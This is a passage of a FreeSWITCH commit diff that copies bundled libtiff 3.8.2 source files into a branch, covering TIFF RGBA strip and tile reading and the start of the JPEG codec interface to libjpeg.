+	    case 2: put = put2bitcmaptile; break;
+	    case 1: put = put1bitcmaptile; break;
+	    }
+	    break;
+	case PHOTOMETRIC_MINISWHITE:
+	case PHOTOMETRIC_MINISBLACK:
+	    switch (img->bitspersample) {
+            case 16: put = put16bitbwtile; break;
+	    case 8:  put = putgreytile; break;
+	    case 4:  put = put4bitbwtile; break;
+	    case 2:  put = put2bitbwtile; break;
+	    case 1:  put = put1bitbwtile; break;
+	    }
+	    break;
+	case PHOTOMETRIC_YCBCR:
+	    if (img->bitspersample == 8)
+		put = initYCbCrConversion(img);
+	    break;
+	case PHOTOMETRIC_CIELAB:
+	    if (img->bitspersample == 8)
+		put = initCIELabConversion(img);
+	    break;
+	}
+    }
+    return ((img->put.contig = put) != 0);
+}
+
+/*
+ * Select the appropriate conversion routine for unpacked data.
+ *
+ * NB: we assume that unpacked single channel data is directed
+ *	 to the "packed routines.
+ */
+static int
+pickTileSeparateCase(TIFFRGBAImage* img)
+{
+    tileSeparateRoutine put = 0;
+
+    if (buildMap(img)) {
+	switch (img->photometric) {
+	case PHOTOMETRIC_RGB:
+	    switch (img->bitspersample) {
+	    case 8:
+		if (!img->Map) {
+		    if (img->alpha == EXTRASAMPLE_ASSOCALPHA)
+			put = putRGBAAseparate8bittile;
+		    else if (img->alpha == EXTRASAMPLE_UNASSALPHA)
+			put = putRGBUAseparate8bittile;
+		    else
+			put = putRGBseparate8bittile;
+		} else
+		    put = putRGBseparate8bitMaptile;
+		break;
+	    case 16:
+		put = putRGBseparate16bittile;
+		if (!img->Map) {
+		    if (img->alpha == EXTRASAMPLE_ASSOCALPHA)
+			put = putRGBAAseparate16bittile;
+		    else if (img->alpha == EXTRASAMPLE_UNASSALPHA)
+			put = putRGBUAseparate16bittile;
+		}
+		break;
+	    }
+	    break;
+	}
+    }
+    return ((img->put.separate = put) != 0);
+}
+
+/*
+ * Read a whole strip off data from the file, and convert to RGBA form.
+ * If this is the last strip, then it will only contain the portion of
+ * the strip that is actually within the image space.  The result is
+ * organized in bottom to top form.
+ */
+
+
+int
+TIFFReadRGBAStrip(TIFF* tif, uint32 row, uint32 * raster )
+
+{
+    char 	emsg[1024] = "";
+    TIFFRGBAImage img;
+    int 	ok;
+    uint32	rowsperstrip, rows_to_read;
+
+    if( TIFFIsTiled( tif ) )
+    {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif),
+                  "Can't use TIFFReadRGBAStrip() with tiled file.");
+	return (0);
+    }
+    
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    if( (row % rowsperstrip) != 0 )
+    {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif),
+				"Row passed to TIFFReadRGBAStrip() must be first in a strip.");
+		return (0);
+    }
+
+    if (TIFFRGBAImageOK(tif, emsg) && TIFFRGBAImageBegin(&img, tif, 0, emsg)) {
+
+        img.row_offset = row;
+        img.col_offset = 0;
+
+        if( row + rowsperstrip > img.height )
+            rows_to_read = img.height - row;
+        else
+            rows_to_read = rowsperstrip;
+        
+	ok = TIFFRGBAImageGet(&img, raster, img.width, rows_to_read );
+        
+	TIFFRGBAImageEnd(&img);
+    } else {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), emsg);
+		ok = 0;
+    }
+    
+    return (ok);
+}
+
+/*
+ * Read a whole tile off data from the file, and convert to RGBA form.
+ * The returned RGBA data is organized from bottom to top of tile,
+ * and may include zeroed areas if the tile extends off the image.
+ */
+
+int
+TIFFReadRGBATile(TIFF* tif, uint32 col, uint32 row, uint32 * raster)
+
+{
+    char 	emsg[1024] = "";
+    TIFFRGBAImage img;
+    int 	ok;
+    uint32	tile_xsize, tile_ysize;
+    uint32	read_xsize, read_ysize;
+    uint32	i_row;
+
+    /*
+     * Verify that our request is legal - on a tile file, and on a
+     * tile boundary.
+     */
+    
+    if( !TIFFIsTiled( tif ) )
+    {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif),
+				  "Can't use TIFFReadRGBATile() with stripped file.");
+		return (0);
+    }
+    
+    TIFFGetFieldDefaulted(tif, TIFFTAG_TILEWIDTH, &tile_xsize);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_TILELENGTH, &tile_ysize);
+    if( (col % tile_xsize) != 0 || (row % tile_ysize) != 0 )
+    {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif),
+                  "Row/col passed to TIFFReadRGBATile() must be top"
+                  "left corner of a tile.");
+	return (0);
+    }
+
+    /*
+     * Setup the RGBA reader.
+     */
+    
+    if (!TIFFRGBAImageOK(tif, emsg) 
+	|| !TIFFRGBAImageBegin(&img, tif, 0, emsg)) {
+	    TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), emsg);
+	    return( 0 );
+    }
+
+    /*
+     * The TIFFRGBAImageGet() function doesn't allow us to get off the
+     * edge of the image, even to fill an otherwise valid tile.  So we
+     * figure out how much we can read, and fix up the tile buffer to
+     * a full tile configuration afterwards.
+     */
+
+    if( row + tile_ysize > img.height )
+        read_ysize = img.height - row;
+    else
+        read_ysize = tile_ysize;
+    
+    if( col + tile_xsize > img.width )
+        read_xsize = img.width - col;
+    else
+        read_xsize = tile_xsize;
+
+    /*
+     * Read the chunk of imagery.
+     */
+    
+    img.row_offset = row;
+    img.col_offset = col;
+
+    ok = TIFFRGBAImageGet(&img, raster, read_xsize, read_ysize );
+        
+    TIFFRGBAImageEnd(&img);
+
+    /*
+     * If our read was incomplete we will need to fix up the tile by
+     * shifting the data around as if a full tile of data is being returned.
+     *
+     * This is all the more complicated because the image is organized in
+     * bottom to top format. 
+     */
+
+    if( read_xsize == tile_xsize && read_ysize == tile_ysize )
+        return( ok );
+
+    for( i_row = 0; i_row < read_ysize; i_row++ ) {
+        memmove( raster + (tile_ysize - i_row - 1) * tile_xsize,
+                 raster + (read_ysize - i_row - 1) * read_xsize,
+                 read_xsize * sizeof(uint32) );
+        _TIFFmemset( raster + (tile_ysize - i_row - 1) * tile_xsize+read_xsize,
+                     0, sizeof(uint32) * (tile_xsize - read_xsize) );
+    }
+
+    for( i_row = read_ysize; i_row < tile_ysize; i_row++ ) {
+        _TIFFmemset( raster + (tile_ysize - i_row - 1) * tile_xsize,
+                     0, sizeof(uint32) * tile_xsize );
+    }
+
+    return (ok);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_jpeg.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_jpeg.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_jpeg.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_jpeg.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_jpeg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1942 @@
+/* $Id: tif_jpeg.c,v 1.45 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1994-1997 Sam Leffler
+ * Copyright (c) 1994-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#define WIN32_LEAN_AND_MEAN
+#define VC_EXTRALEAN
+
+#include "tiffiop.h"
+#ifdef JPEG_SUPPORT
+
+/*
+ * TIFF Library
+ *
+ * JPEG Compression support per TIFF Technical Note #2
+ * (*not* per the original TIFF 6.0 spec).
+ *
+ * This file is simply an interface to the libjpeg library written by
+ * the Independent JPEG Group.  You need release 5 or later of the IJG
+ * code, which you can find on the Internet at ftp.uu.net:/graphics/jpeg/.
+ *
+ * Contributed by Tom Lane <tgl@sss.pgh.pa.us>.
+ */
+#include <setjmp.h>
+
+int TIFFFillStrip(TIFF*, tstrip_t);
+int TIFFFillTile(TIFF*, ttile_t);
+
+/* We undefine FAR to avoid conflict with JPEG definition */
+
+#ifdef FAR
+#undef FAR
+#endif
+
+/*
+  Libjpeg's jmorecfg.h defines INT16 and INT32, but only if XMD_H is
+  not defined.  Unfortunately, the MinGW and Borland compilers include
+  a typedef for INT32, which causes a conflict.  MSVC does not include
+  a conficting typedef given the headers which are included.
+*/
+#if defined(__BORLANDC__) || defined(__MINGW32__)
+# define XMD_H 1
+#endif
+
+/*
+   The windows RPCNDR.H file defines boolean, but defines it with the
+   unsigned char size.  You should compile JPEG library using appropriate
+   definitions in jconfig.h header, but many users compile library in wrong
+   way. That causes errors of the following type:
+
+   "JPEGLib: JPEG parameter struct mismatch: library thinks size is 432,
+   caller expects 464"
+
+   For such users we wil fix the problem here. See install.doc file from
+   the JPEG library distribution for details.
+*/
+
+/* Define "boolean" as unsigned char, not int, per Windows custom. */
+#if defined(WIN32) && !defined(__MINGW32__)
+# ifndef __RPCNDR_H__            /* don't conflict if rpcndr.h already read */
+   typedef unsigned char boolean;
+# endif
+# define HAVE_BOOLEAN            /* prevent jmorecfg.h from redefining it */
+#endif
+
+#include "jpeglib.h"
+#include "jerror.h"
+
+/*
+ * We are using width_in_blocks which is supposed to be private to
+ * libjpeg. Unfortunately, the libjpeg delivered with Cygwin has
+ * renamed this member to width_in_data_units.  Since the header has
+ * also renamed a define, use that unique define name in order to
+ * detect the problem header and adjust to suit.
+ */
+#if defined(D_MAX_DATA_UNITS_IN_MCU)
+#define width_in_blocks width_in_data_units
+#endif
+
+/*
+ * On some machines it may be worthwhile to use _setjmp or sigsetjmp
+ * in place of plain setjmp.  These macros will make it easier.
+ */
+#define SETJMP(jbuf)		setjmp(jbuf)
+#define LONGJMP(jbuf,code)	longjmp(jbuf,code)
+#define JMP_BUF			jmp_buf
+
+typedef struct jpeg_destination_mgr jpeg_destination_mgr;
+typedef struct jpeg_source_mgr jpeg_source_mgr;
+typedef	struct jpeg_error_mgr jpeg_error_mgr;
+
+/*
+ * State block for each open TIFF file using
+ * libjpeg to do JPEG compression/decompression.
+ *
+ * libjpeg's visible state is either a jpeg_compress_struct
+ * or jpeg_decompress_struct depending on which way we
+ * are going.  comm can be used to refer to the fields
+ * which are common to both.
+ *
+ * NB: cinfo is required to be the first member of JPEGState,
+ *     so we can safely cast JPEGState* -> jpeg_xxx_struct*
+ *     and vice versa!
+ */
+typedef	struct {
+	union {
+		struct jpeg_compress_struct c;
+		struct jpeg_decompress_struct d;
+		struct jpeg_common_struct comm;
+	} cinfo;			/* NB: must be first */
+        int             cinfo_initialized;
+
+	jpeg_error_mgr	err;		/* libjpeg error manager */
+	JMP_BUF		exit_jmpbuf;	/* for catching libjpeg failures */
+	/*
+	 * The following two members could be a union, but
+	 * they're small enough that it's not worth the effort.
+	 */
+	jpeg_destination_mgr dest;	/* data dest for compression */
+	jpeg_source_mgr	src;		/* data source for decompression */
+					/* private state */
+	TIFF*		tif;		/* back link needed by some code */
+	uint16		photometric;	/* copy of PhotometricInterpretation */
+	uint16		h_sampling;	/* luminance sampling factors */
+	uint16		v_sampling;
+	tsize_t		bytesperline;	/* decompressed bytes per scanline */
+	/* pointers to intermediate buffers when processing downsampled data */
+	JSAMPARRAY	ds_buffer[MAX_COMPONENTS];
+	int		scancount;	/* number of "scanlines" accumulated */
+	int		samplesperclump;
+
+	TIFFVGetMethod	vgetparent;	/* super-class method */
+	TIFFVSetMethod	vsetparent;	/* super-class method */
+	TIFFStripMethod	defsparent;	/* super-class method */
+	TIFFTileMethod	deftparent;	/* super-class method */
+					/* pseudo-tag fields */
+	void*		jpegtables;	/* JPEGTables tag value, or NULL */
+	uint32		jpegtables_length; /* number of bytes in same */
+	int		jpegquality;	/* Compression quality level */
+	int		jpegcolormode;	/* Auto RGB<=>YCbCr convert? */
+	int		jpegtablesmode;	/* What to put in JPEGTables */
+
+        int             ycbcrsampling_fetched;
+	uint32		recvparams;	/* encoded Class 2 session params */
+	char*		subaddress;	/* subaddress string */
+	uint32		recvtime;	/* time spent receiving (secs) */
+	char*		faxdcs;		/* encoded fax parameters (DCS, Table 2/T.30) */
+} JPEGState;
+
+#define	JState(tif)	((JPEGState*)(tif)->tif_data)
+
+static	int JPEGDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int JPEGDecodeRaw(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int JPEGEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int JPEGEncodeRaw(TIFF*, tidata_t, tsize_t, tsample_t);
+static  int JPEGInitializeLibJPEG( TIFF * tif,
+								   int force_encode, int force_decode );
+
+#define	FIELD_JPEGTABLES	(FIELD_CODEC+0)
+#define	FIELD_RECVPARAMS	(FIELD_CODEC+1)
+#define	FIELD_SUBADDRESS	(FIELD_CODEC+2)
+#define	FIELD_RECVTIME		(FIELD_CODEC+3)
+#define	FIELD_FAXDCS		(FIELD_CODEC+4)
+
+static const TIFFFieldInfo jpegFieldInfo[] = {
+    { TIFFTAG_JPEGTABLES,	 -3,-3,	TIFF_UNDEFINED,	FIELD_JPEGTABLES,
+      FALSE,	TRUE,	"JPEGTables" },
+    { TIFFTAG_JPEGQUALITY,	 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      TRUE,	FALSE,	"" },
+    { TIFFTAG_JPEGCOLORMODE,	 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      FALSE,	FALSE,	"" },
+    { TIFFTAG_JPEGTABLESMODE,	 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      FALSE,	FALSE,	"" },
+    /* Specific for JPEG in faxes */
+    { TIFFTAG_FAXRECVPARAMS,	 1, 1, TIFF_LONG,	FIELD_RECVPARAMS,
+      TRUE,	FALSE,	"FaxRecvParams" },
+    { TIFFTAG_FAXSUBADDRESS,	-1,-1, TIFF_ASCII,	FIELD_SUBADDRESS,
+      TRUE,	FALSE,	"FaxSubAddress" },
+    { TIFFTAG_FAXRECVTIME,	 1, 1, TIFF_LONG,	FIELD_RECVTIME,
+      TRUE,	FALSE,	"FaxRecvTime" },
+    { TIFFTAG_FAXDCS,		-1, -1, TIFF_ASCII,	FIELD_FAXDCS,
+	  TRUE,	FALSE,	"FaxDcs" },
+};
+#define	N(a)	(sizeof (a) / sizeof (a[0]))
+
+/*
+ * libjpeg interface layer.
+ *
+ * We use setjmp/longjmp to return control to libtiff
+ * when a fatal error is encountered within the JPEG
+ * library.  We also direct libjpeg error and warning
+ * messages through the appropriate libtiff handlers.
+ */
+
+/*
+ * Error handling routines (these replace corresponding
+ * IJG routines from jerror.c).  These are used for both
+ * compression and decompression.
+ */
+static void
+TIFFjpeg_error_exit(j_common_ptr cinfo)
+{
+	JPEGState *sp = (JPEGState *) cinfo;	/* NB: cinfo assumed first */
+	char buffer[JMSG_LENGTH_MAX];
+
+	(*cinfo->err->format_message) (cinfo, buffer);
+	TIFFErrorExt(sp->tif->tif_clientdata, "JPEGLib", buffer);		/* display the error message */
+	jpeg_abort(cinfo);			/* clean up libjpeg state */
+	LONGJMP(sp->exit_jmpbuf, 1);		/* return to libtiff caller */
+}
+
+/*
+ * This routine is invoked only for warning messages,
+ * since error_exit does its own thing and trace_level
+ * is never set > 0.
+ */
+static void
+TIFFjpeg_output_message(j_common_ptr cinfo)
+{
+	char buffer[JMSG_LENGTH_MAX];
+
+	(*cinfo->err->format_message) (cinfo, buffer);
+	TIFFWarningExt(((JPEGState *) cinfo)->tif->tif_clientdata, "JPEGLib", buffer);
+}
+
+/*
+ * Interface routines.  This layer of routines exists
+ * primarily to limit side-effects from using setjmp.
+ * Also, normal/error returns are converted into return
+ * values per libtiff practice.
+ */
+#define	CALLJPEG(sp, fail, op)	(SETJMP((sp)->exit_jmpbuf) ? (fail) : (op))
+#define	CALLVJPEG(sp, op)	CALLJPEG(sp, 0, ((op),1))
+
+static int
+TIFFjpeg_create_compress(JPEGState* sp)
+{
+	/* initialize JPEG error handling */
+	sp->cinfo.c.err = jpeg_std_error(&sp->err);
+	sp->err.error_exit = TIFFjpeg_error_exit;
+	sp->err.output_message = TIFFjpeg_output_message;
+
+	return CALLVJPEG(sp, jpeg_create_compress(&sp->cinfo.c));
+}
+
+static int
+TIFFjpeg_create_decompress(JPEGState* sp)
+{
+	/* initialize JPEG error handling */
+	sp->cinfo.d.err = jpeg_std_error(&sp->err);
+	sp->err.error_exit = TIFFjpeg_error_exit;
+	sp->err.output_message = TIFFjpeg_output_message;
+
+	return CALLVJPEG(sp, jpeg_create_decompress(&sp->cinfo.d));
+}
+
+static int
+TIFFjpeg_set_defaults(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_set_defaults(&sp->cinfo.c));
+}
+
+static int
+TIFFjpeg_set_colorspace(JPEGState* sp, J_COLOR_SPACE colorspace)
+{
+	return CALLVJPEG(sp, jpeg_set_colorspace(&sp->cinfo.c, colorspace));
+}
+
+static int
+TIFFjpeg_set_quality(JPEGState* sp, int quality, boolean force_baseline)
+{
+	return CALLVJPEG(sp,
+	    jpeg_set_quality(&sp->cinfo.c, quality, force_baseline));
+}
+
+static int
+TIFFjpeg_suppress_tables(JPEGState* sp, boolean suppress)
+{
+	return CALLVJPEG(sp, jpeg_suppress_tables(&sp->cinfo.c, suppress));
+}
+
+static int
+TIFFjpeg_start_compress(JPEGState* sp, boolean write_all_tables)
+{
+	return CALLVJPEG(sp,
+	    jpeg_start_compress(&sp->cinfo.c, write_all_tables));
+}
+
+static int
+TIFFjpeg_write_scanlines(JPEGState* sp, JSAMPARRAY scanlines, int num_lines)
+{
+	return CALLJPEG(sp, -1, (int) jpeg_write_scanlines(&sp->cinfo.c,
+	    scanlines, (JDIMENSION) num_lines));
+}
+
+static int
+TIFFjpeg_write_raw_data(JPEGState* sp, JSAMPIMAGE data, int num_lines)
+{
+	return CALLJPEG(sp, -1, (int) jpeg_write_raw_data(&sp->cinfo.c,
+	    data, (JDIMENSION) num_lines));
+}
+
+static int
+TIFFjpeg_finish_compress(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_finish_compress(&sp->cinfo.c));
+}
+
+static int
+TIFFjpeg_write_tables(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_write_tables(&sp->cinfo.c));
+}
+
+static int
+TIFFjpeg_read_header(JPEGState* sp, boolean require_image)
+{
+	return CALLJPEG(sp, -1, jpeg_read_header(&sp->cinfo.d, require_image));
+}
+
+static int
+TIFFjpeg_start_decompress(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_start_decompress(&sp->cinfo.d));
+}
+
+static int
+TIFFjpeg_read_scanlines(JPEGState* sp, JSAMPARRAY scanlines, int max_lines)
+{
+	return CALLJPEG(sp, -1, (int) jpeg_read_scanlines(&sp->cinfo.d,
+	    scanlines, (JDIMENSION) max_lines));
+}
+
+static int
+TIFFjpeg_read_raw_data(JPEGState* sp, JSAMPIMAGE data, int max_lines)
+{
+	return CALLJPEG(sp, -1, (int) jpeg_read_raw_data(&sp->cinfo.d,
+	    data, (JDIMENSION) max_lines));
+}
+
+static int
+TIFFjpeg_finish_decompress(JPEGState* sp)
+{
+	return CALLJPEG(sp, -1, (int) jpeg_finish_decompress(&sp->cinfo.d));
+}
+
+static int
+TIFFjpeg_abort(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_abort(&sp->cinfo.comm));
+}
+
+static int
+TIFFjpeg_destroy(JPEGState* sp)
+{
+	return CALLVJPEG(sp, jpeg_destroy(&sp->cinfo.comm));
+}
+
+static JSAMPARRAY
+TIFFjpeg_alloc_sarray(JPEGState* sp, int pool_id,
+		      JDIMENSION samplesperrow, JDIMENSION numrows)
+{
+	return CALLJPEG(sp, (JSAMPARRAY) NULL,
+	    (*sp->cinfo.comm.mem->alloc_sarray)
+		(&sp->cinfo.comm, pool_id, samplesperrow, numrows));
+}
+
+/*
+ * JPEG library destination data manager.
+ * These routines direct compressed data from libjpeg into the
+ * libtiff output buffer.
+ */
+
+static void
+std_init_destination(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+	TIFF* tif = sp->tif;
+
+	sp->dest.next_output_byte = (JOCTET*) tif->tif_rawdata;
+	sp->dest.free_in_buffer = (size_t) tif->tif_rawdatasize;
+}
+
+static boolean
+std_empty_output_buffer(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+	TIFF* tif = sp->tif;
+
+	/* the entire buffer has been filled */
+	tif->tif_rawcc = tif->tif_rawdatasize;
+	TIFFFlushData1(tif);
+	sp->dest.next_output_byte = (JOCTET*) tif->tif_rawdata;
+	sp->dest.free_in_buffer = (size_t) tif->tif_rawdatasize;
+
+	return (TRUE);
+}
+
+static void
+std_term_destination(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+	TIFF* tif = sp->tif;
+
+	tif->tif_rawcp = (tidata_t) sp->dest.next_output_byte;
+	tif->tif_rawcc =
+	    tif->tif_rawdatasize - (tsize_t) sp->dest.free_in_buffer;
+	/* NB: libtiff does the final buffer flush */
+}
+
+static void
+TIFFjpeg_data_dest(JPEGState* sp, TIFF* tif)
+{
+	(void) tif;
+	sp->cinfo.c.dest = &sp->dest;
+	sp->dest.init_destination = std_init_destination;
+	sp->dest.empty_output_buffer = std_empty_output_buffer;
+	sp->dest.term_destination = std_term_destination;
+}
+
+/*
+ * Alternate destination manager for outputting to JPEGTables field.
+ */
+
+static void
+tables_init_destination(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+
+	/* while building, jpegtables_length is allocated buffer size */
+	sp->dest.next_output_byte = (JOCTET*) sp->jpegtables;
+	sp->dest.free_in_buffer = (size_t) sp->jpegtables_length;
+}
+
+static boolean
+tables_empty_output_buffer(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+	void* newbuf;
+
+	/* the entire buffer has been filled; enlarge it by 1000 bytes */
+	newbuf = _TIFFrealloc((tdata_t) sp->jpegtables,
+			      (tsize_t) (sp->jpegtables_length + 1000));
+	if (newbuf == NULL)
+		ERREXIT1(cinfo, JERR_OUT_OF_MEMORY, 100);
+	sp->dest.next_output_byte = (JOCTET*) newbuf + sp->jpegtables_length;
+	sp->dest.free_in_buffer = (size_t) 1000;
+	sp->jpegtables = newbuf;
+	sp->jpegtables_length += 1000;
+	return (TRUE);
+}
+
+static void
+tables_term_destination(j_compress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+
+	/* set tables length to number of bytes actually emitted */
+	sp->jpegtables_length -= sp->dest.free_in_buffer;
+}
+
+static int
+TIFFjpeg_tables_dest(JPEGState* sp, TIFF* tif)
+{
+	(void) tif;
+	/*
+	 * Allocate a working buffer for building tables.
+	 * Initial size is 1000 bytes, which is usually adequate.
+	 */
+	if (sp->jpegtables)
+		_TIFFfree(sp->jpegtables);
+	sp->jpegtables_length = 1000;
+	sp->jpegtables = (void*) _TIFFmalloc((tsize_t) sp->jpegtables_length);
+	if (sp->jpegtables == NULL) {
+		sp->jpegtables_length = 0;
+		TIFFErrorExt(sp->tif->tif_clientdata, "TIFFjpeg_tables_dest", "No space for JPEGTables");
+		return (0);
+	}
+	sp->cinfo.c.dest = &sp->dest;
+	sp->dest.init_destination = tables_init_destination;
+	sp->dest.empty_output_buffer = tables_empty_output_buffer;
+	sp->dest.term_destination = tables_term_destination;
+	return (1);
+}
+
+/*
+ * JPEG library source data manager.
+ * These routines supply compressed data to libjpeg.
+ */
+
+static void
+std_init_source(j_decompress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+	TIFF* tif = sp->tif;
+
+	sp->src.next_input_byte = (const JOCTET*) tif->tif_rawdata;
+	sp->src.bytes_in_buffer = (size_t) tif->tif_rawcc;
+}
+
+static boolean
+std_fill_input_buffer(j_decompress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState* ) cinfo;
+	static const JOCTET dummy_EOI[2] = { 0xFF, JPEG_EOI };
+
+	/*
+	 * Should never get here since entire strip/tile is
+	 * read into memory before the decompressor is called,
+	 * and thus was supplied by init_source.
+	 */
+	WARNMS(cinfo, JWRN_JPEG_EOF);
+	/* insert a fake EOI marker */
+	sp->src.next_input_byte = dummy_EOI;
+	sp->src.bytes_in_buffer = 2;
+	return (TRUE);
+}
+
+static void
+std_skip_input_data(j_decompress_ptr cinfo, long num_bytes)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+
+	if (num_bytes > 0) {
+		if (num_bytes > (long) sp->src.bytes_in_buffer) {
+			/* oops, buffer overrun */
+			(void) std_fill_input_buffer(cinfo);
+		} else {
+			sp->src.next_input_byte += (size_t) num_bytes;
+			sp->src.bytes_in_buffer -= (size_t) num_bytes;
+		}
+	}
+}
+
+static void
+std_term_source(j_decompress_ptr cinfo)
+{
+	/* No work necessary here */
+	/* Or must we update tif->tif_rawcp, tif->tif_rawcc ??? */
+	/* (if so, need empty tables_term_source!) */
+	(void) cinfo;
+}
+
+static void
+TIFFjpeg_data_src(JPEGState* sp, TIFF* tif)
+{
+	(void) tif;
+	sp->cinfo.d.src = &sp->src;
+	sp->src.init_source = std_init_source;
+	sp->src.fill_input_buffer = std_fill_input_buffer;
+	sp->src.skip_input_data = std_skip_input_data;
+	sp->src.resync_to_restart = jpeg_resync_to_restart;
+	sp->src.term_source = std_term_source;
+	sp->src.bytes_in_buffer = 0;		/* for safety */
+	sp->src.next_input_byte = NULL;
+}
+
+/*
+ * Alternate source manager for reading from JPEGTables.
+ * We can share all the code except for the init routine.
+ */
+
+static void
+tables_init_source(j_decompress_ptr cinfo)
+{
+	JPEGState* sp = (JPEGState*) cinfo;
+
+	sp->src.next_input_byte = (const JOCTET*) sp->jpegtables;
+	sp->src.bytes_in_buffer = (size_t) sp->jpegtables_length;
+}
+
+static void
+TIFFjpeg_tables_src(JPEGState* sp, TIFF* tif)
+{
+	TIFFjpeg_data_src(sp, tif);
+	sp->src.init_source = tables_init_source;
+}
+
+/*
+ * Allocate downsampled-data buffers needed for downsampled I/O.
+ * We use values computed in jpeg_start_compress or jpeg_start_decompress.
+ * We use libjpeg's allocator so that buffers will be released automatically
+ * when done with strip/tile.
+ * This is also a handy place to compute samplesperclump, bytesperline.
+ */
+static int
+alloc_downsampled_buffers(TIFF* tif, jpeg_component_info* comp_info,
+			  int num_components)
+{
+	JPEGState* sp = JState(tif);
+	int ci;
+	jpeg_component_info* compptr;
+	JSAMPARRAY buf;
+	int samples_per_clump = 0;
+
+	for (ci = 0, compptr = comp_info; ci < num_components;
+	     ci++, compptr++) {
+		samples_per_clump += compptr->h_samp_factor *
+			compptr->v_samp_factor;
+		buf = TIFFjpeg_alloc_sarray(sp, JPOOL_IMAGE,
+				compptr->width_in_blocks * DCTSIZE,
+				(JDIMENSION) (compptr->v_samp_factor*DCTSIZE));
+		if (buf == NULL)
+			return (0);
+		sp->ds_buffer[ci] = buf;
+	}
+	sp->samplesperclump = samples_per_clump;
+	return (1);
+}
+
+
+/*
+ * JPEG Decoding.
+ */
+
+static int
+JPEGSetupDecode(TIFF* tif)
+{
+	JPEGState* sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+
+        JPEGInitializeLibJPEG( tif, 0, 1 );
+
+	assert(sp != NULL);
+	assert(sp->cinfo.comm.is_decompressor);
+
+	/* Read JPEGTables if it is present */
+	if (TIFFFieldSet(tif,FIELD_JPEGTABLES)) {
+		TIFFjpeg_tables_src(sp, tif);
+		if(TIFFjpeg_read_header(sp,FALSE) != JPEG_HEADER_TABLES_ONLY) {
+			TIFFErrorExt(tif->tif_clientdata, "JPEGSetupDecode", "Bogus JPEGTables field");
+			return (0);
+		}
+	}
+
+	/* Grab parameters that are same for all strips/tiles */
+	sp->photometric = td->td_photometric;
+	switch (sp->photometric) {
+	case PHOTOMETRIC_YCBCR:
+		sp->h_sampling = td->td_ycbcrsubsampling[0];
+		sp->v_sampling = td->td_ycbcrsubsampling[1];
+		break;
+	default:
+		/* TIFF 6.0 forbids subsampling of all other color spaces */
+		sp->h_sampling = 1;
+		sp->v_sampling = 1;
+		break;
+	}
+
+	/* Set up for reading normal data */
+	TIFFjpeg_data_src(sp, tif);
+	tif->tif_postdecode = _TIFFNoPostDecode; /* override byte swapping */
+	return (1);
+}
+
+/*
+ * Set up for decoding a strip or tile.
+ */
+static int
+JPEGPreDecode(TIFF* tif, tsample_t s)
+{
+	JPEGState *sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+	static const char module[] = "JPEGPreDecode";
+	uint32 segment_width, segment_height;
+	int downsampled_output;
+	int ci;
+
+	assert(sp != NULL);
+	assert(sp->cinfo.comm.is_decompressor);
+	/*
